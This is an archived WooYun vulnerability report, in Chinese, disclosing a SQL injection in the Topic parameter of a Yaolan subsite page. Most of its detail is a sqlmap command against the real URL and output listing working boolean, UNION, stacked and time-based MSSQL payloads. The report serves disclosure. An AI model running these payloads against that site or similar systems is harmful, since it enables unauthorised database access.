[公开漏洞]摇篮分站一处SQL注入

摇篮分站一处SQL注入 相关厂商： 摇篮网 漏洞作者：Once‘ 提交时间：2014-05-17 10:56 公开时间：2014-05-22 10:57 漏洞类型：SQL注射漏洞 危害等级：低 自评Rank：5 漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞 漏洞来源：http://www.wooyun.org Tags标签： 无 漏洞详情 披露状态：

2014-05-17：细节已通知厂商并且等待厂商处理中
2014-05-22：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

睡眠是一种艺术，谁也不能阻挡我追求艺术的脚步

详细说明：

sqlmap.py -u "http://comment.yaolan.com/zhuanti/MessageBoard.aspx?Topic=jdx&Color=#008BDC Topic=jdx"



sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: Topic

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: Topic=jdx' AND 6331=6331 AND 'AoOv'='AoOv&Color=



Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: Topic=jdx' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(109)+CHAR(113)

+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(86)+CHAR(67)+CHAR(76)+CHAR(114)+CHAR(69)+CHAR(

108)+CHAR(105)+CHAR(109)+CHAR(113)+CHAR(101)+CHAR(97)+CHAR(114)+CHAR(113),NULL,N

ULL,NULL-- &Color=



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: Topic=jdx'; WAITFOR DELAY '0:0:5'--&Color=



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: Topic=jdx' WAITFOR DELAY '0:0:5'--&Color=

---

[12:38:38] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005

漏洞证明：

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: Topic

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: Topic=jdx' AND 6331=6331 AND 'AoOv'='AoOv&Color=



Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: Topic=jdx' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(109)+CHAR(113)

+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(86)+CHAR(67)+CHAR(76)+CHAR(114)+CHAR(69)+CHAR(

108)+CHAR(105)+CHAR(109)+CHAR(113)+CHAR(101)+CHAR(97)+CHAR(114)+CHAR(113),NULL,N

ULL,NULL-- &Color=



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: Topic=jdx'; WAITFOR DELAY '0:0:5'--&Color=



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: Topic=jdx' WAITFOR DELAY '0:0:5'--&Color=

---

[12:38:38] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005



未深入。

修复方案：

版权声明：转载请注明来源 Once‘@乌云 漏洞回应 厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-05-17 10:56

厂商回复：

最新状态：

暂无